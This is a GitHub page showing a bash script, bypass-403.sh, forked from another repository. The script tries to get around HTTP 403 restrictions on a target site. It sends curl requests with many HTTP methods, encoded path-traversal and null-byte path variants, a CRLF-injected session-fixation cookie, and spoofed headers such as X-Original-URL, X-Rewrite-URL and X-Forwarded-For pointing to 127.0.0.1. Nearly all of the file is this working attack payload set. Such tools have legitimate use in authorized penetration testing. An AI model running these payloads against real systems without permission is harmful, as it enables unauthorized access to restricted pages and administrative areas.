forked from iamj0ker/bypass-403
-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathbypass-403.sh
executable file
·65 lines (59 loc) · 1.75 KB
/
bypass-403.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
#! /bin/bash
# call with paths without first slash `/`
# definitions
checkhelp(){
echo "./bypass-403.sh https://target.com path"
exit 0
}
if [ $# -eq 1 ]; then
checkhelp "$@"
fi
# alias
CURLREQUEST='curl -k -s --max-time 10 -o /dev/null -iL -w [%{http_code}],%{size_download}'
# echo {GET,POST,PUT,TRACE} | xargs -n1 -I {} $CURLREQUEST -X {} $1/$2
requestfuzzer(){
for REQ in GET POST PUT CONNECT PATCH OPTIONS HEAD TRACE TRACK
do
$CURLREQUEST -X $REQ "$@"
echo -n " $REQ --> $@"
echo
done
}
# path fuzzing
requestfuzzer "$1/$2"
requestfuzzer "$1/$2%0d%0aSet-Cookie:%20ASPSESSIONIDACCBBTCD=SessionFixed%0d%0a"
requestfuzzer $1/%2e/$2
requestfuzzer $1/$2%2e%2e%2f
requestfuzzer $1/$2/.
requestfuzzer $1/$2/*
requestfuzzer "$1/$2;/"
requestfuzzer $1/$2..%00/
requestfuzzer $1/$2..%00x
requestfuzzer $1/$2..%5c
requestfuzzer "$1/$2..;/"
requestfuzzer $1/$2..%2f/
requestfuzzer $1//$2//
requestfuzzer $1/./$2/./
requestfuzzer $1/$2%20
requestfuzzer $1/$2%23
requestfuzzer $1/$2%09
requestfuzzer "$1/$2?"
requestfuzzer $1/$2.html
requestfuzzer $1/$2.json
requestfuzzer $1/$2%2500.md
requestfuzzer "$1/$2/?anything"
requestfuzzer $1/$2#
# headers fuzzing
requestfuzzer -H "Content-Length:0" "$1/$2"
requestfuzzer -H "X-Original-URL: $2" $1/admin
requestfuzzer -H "X-Original-URL: $2" $1
requestfuzzer -H "X-Original-URL: $2" $1/$2
requestfuzzer -H "X-Override-URL: $2" $1
requestfuzzer -H "X-Rewrite-URL: $2" $1
requestfuzzer -H "X-Remote-IP: 127.0.0.1" $1/$2
requestfuzzer -H "Referer: $2" $1
requestfuzzer -H "Referer: $2" $1/$2
requestfuzzer -H "Referer: $1/$2" $1/$2
requestfuzzer -H "X-Custom-IP-Authorization: 127.0.0.1" $1/$2
requestfuzzer -H "X-Forwarded-For: http://127.0.0.1" $1/$2
requestfuzzer -H "X-Forwarded-For: 127.0.0.1:80" $1/$2